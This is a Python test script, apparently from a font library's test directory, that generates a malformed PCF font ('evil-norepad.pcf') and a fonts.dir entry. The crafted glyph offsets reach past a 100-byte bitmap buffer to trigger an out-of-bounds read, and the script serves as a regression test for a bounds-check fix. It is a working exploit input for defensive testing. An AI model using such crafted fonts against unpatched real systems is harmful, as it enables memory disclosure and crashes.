Home | History | Annotate | Line # | Download | only in test
      1 #!/usr/bin/env python3
      2 """
      3 Generate a malicious PCF font that triggers an out-of-bounds read in the
      4 no-repad bitmap path.
      5 
      6 The font stores bitmaps at glyph pad=4 (matching x86_64 server default).
      7 The bitmap buffer is small (100 bytes) but a glyph has metrics that
      8 extend well past it (offset=80, width=32, height=10 -> needs 40 bytes,
      9 so reads up to byte 120, 20 past the 100-byte buffer).
     10 
     11 Without the fix, the no-repad path only checks that the offset is within
     12 bounds, not the full glyph extent.
     13 
     14 With the fix, the full glyph size is validated against the buffer.
     15 
     16 Usage:
     17     python3 gen_evil_pcf_norepad.py <output_dir>
     18 
     19 Creates <output_dir>/evil-norepad.pcf and <output_dir>/fonts.dir
     20 """
     21 
     22 import struct
     23 import sys
     24 import os
     25 
     26 PCF_DEFAULT_FORMAT = 0x00000000
     27 PCF_PROPERTIES = 1
     28 PCF_ACCELERATORS = 2
     29 PCF_METRICS = 4
     30 PCF_BITMAPS = 8
     31 PCF_BDF_ENCODINGS = 32
     32 
     33 
     34 def u32(x):
     35     return struct.pack("<I", x & 0xFFFFFFFF)
     36 
     37 
     38 def i32(x):
     39     return struct.pack("<i", x)
     40 
     41 
     42 def u16(x):
     43     return struct.pack("<H", x & 0xFFFF)
     44 
     45 
     46 def i16(x):
     47     return struct.pack("<h", x)
     48 
     49 
     50 def u8(x):
     51     return struct.pack("<B", x & 0xFF)
     52 
     53 
     54 def xCharInfo(lsb, rsb, cw, asc, desc, attr):
     55     return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr)
     56 
     57 
     58 # Glyph metrics: width=32 pixels, height=10
     59 # At pad=4: BYTES_PER_ROW(32, 4) = 4, so glyph = 4 * 10 = 40 bytes
     60 LSB = 0
     61 RSB = 32
     62 ASCENT = 8
     63 DESCENT = 2
     64 CHAR_WIDTH = 32
     65 
     66 # Bitmap: 100 bytes total, but glyph at offset 80 needs 40 bytes (80+40=120 > 100)
     67 # Glyph pad = 4 (index 2), matching typical x86_64 server
     68 BITMAP_DATA_SIZE = 100  # small buffer
     69 GLYPH_OFFSET = 80  # glyph starts near end
     70 
     71 # Bitmap sizes for each pad option: [pad1, pad2, pad4, pad8]
     72 # We set pad4 (index 2) = 100 to make the bitmap buffer 100 bytes
     73 BITMAP_SIZES = [BITMAP_DATA_SIZE, BITMAP_DATA_SIZE, BITMAP_DATA_SIZE, BITMAP_DATA_SIZE]
     74 
     75 # The font stores at glyph pad 4 (format bits [1:0] = 2 for pad=4)
     76 # PCF_GLYPH_PAD_INDEX = format & 3
     77 GLYPH_PAD_FORMAT = 2  # pad = 4
     78 
     79 # --- PROPERTIES ---
     80 properties = b""
     81 properties += u32(PCF_DEFAULT_FORMAT)
     82 properties += i32(1)
     83 properties += i32(0)  # name offset
     84 properties += u8(0)  # not string
     85 properties += i32(0)  # value
     86 properties += b"\x00" * 3  # padding (nprops=1, pad to 4)
     87 properties += i32(1)  # string_size
     88 properties += b"\x00"  # string table
     89 
     90 # --- ACCELERATORS ---
     91 accel = b""
     92 accel += u32(PCF_DEFAULT_FORMAT)
     93 accel += u8(0) * 8
     94 accel += i32(ASCENT)
     95 accel += i32(DESCENT)
     96 accel += i32(0)
     97 accel += xCharInfo(0, 0, 0, 0, 0, 0)
     98 accel += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0)
     99 
    100 # --- METRICS (1 glyph) ---
    101 metrics = b""
    102 metrics += u32(PCF_DEFAULT_FORMAT)
    103 metrics += i32(1)  # nmetrics = 1
    104 metrics += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0)
    105 
    106 # --- BITMAPS ---
    107 bitmaps = b""
    108 bitmaps += u32(PCF_DEFAULT_FORMAT | GLYPH_PAD_FORMAT)
    109 bitmaps += i32(1)  # nbitmaps = 1
    110 bitmaps += u32(GLYPH_OFFSET)  # offset[0] = 80
    111 for sz in BITMAP_SIZES:
    112     bitmaps += u32(sz)
    113 bitmaps += b"\xaa" * BITMAP_DATA_SIZE
    114 
    115 # --- BDF_ENCODINGS ---
    116 encodings = b""
    117 encodings += u32(PCF_DEFAULT_FORMAT)
    118 encodings += u16(0) + u16(0)  # firstCol, lastCol
    119 encodings += u16(0) + u16(0)  # firstRow, lastRow
    120 encodings += u16(0)  # defaultCh
    121 encodings += u16(0)  # encoding[0] -> metric[0]
    122 
    123 # --- Assemble ---
    124 TABLE_COUNT = 5
    125 BODY_START = 8 + TABLE_COUNT * 16
    126 
    127 properties_off = BODY_START
    128 accel_off = properties_off + len(properties)
    129 metrics_off = accel_off + len(accel)
    130 bitmaps_off = metrics_off + len(metrics)
    131 encodings_off = bitmaps_off + len(bitmaps)
    132 
    133 
    134 def toc(type_, format_, size, offset):
    135     return u32(type_) + u32(format_) + u32(size) + u32(offset)
    136 
    137 
    138 out = b"\x01fcp" + u32(TABLE_COUNT)
    139 out += toc(PCF_PROPERTIES, 0, len(properties), properties_off)
    140 out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off)
    141 out += toc(PCF_METRICS, 0, len(metrics), metrics_off)
    142 out += toc(
    143     PCF_BITMAPS, PCF_DEFAULT_FORMAT | GLYPH_PAD_FORMAT, len(bitmaps), bitmaps_off
    144 )
    145 out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off)
    146 out += properties + accel + metrics + bitmaps + encodings
    147 
    148 output_dir = sys.argv[1] if len(sys.argv) > 1 else "."
    149 os.makedirs(output_dir, exist_ok=True)
    150 
    151 pcf_name = "evil-norepad.pcf"
    152 xlfd = "-evil-norepad-medium-r-normal--10-100-75-75-c-80-iso10646-1"
    153 
    154 with open(os.path.join(output_dir, pcf_name), "wb") as f:
    155     f.write(out)
    156 
    157 with open(os.path.join(output_dir, "fonts.dir"), "w") as f:
    158     f.write("1\n")
    159     f.write(f"{pcf_name} {xlfd}\n")
    160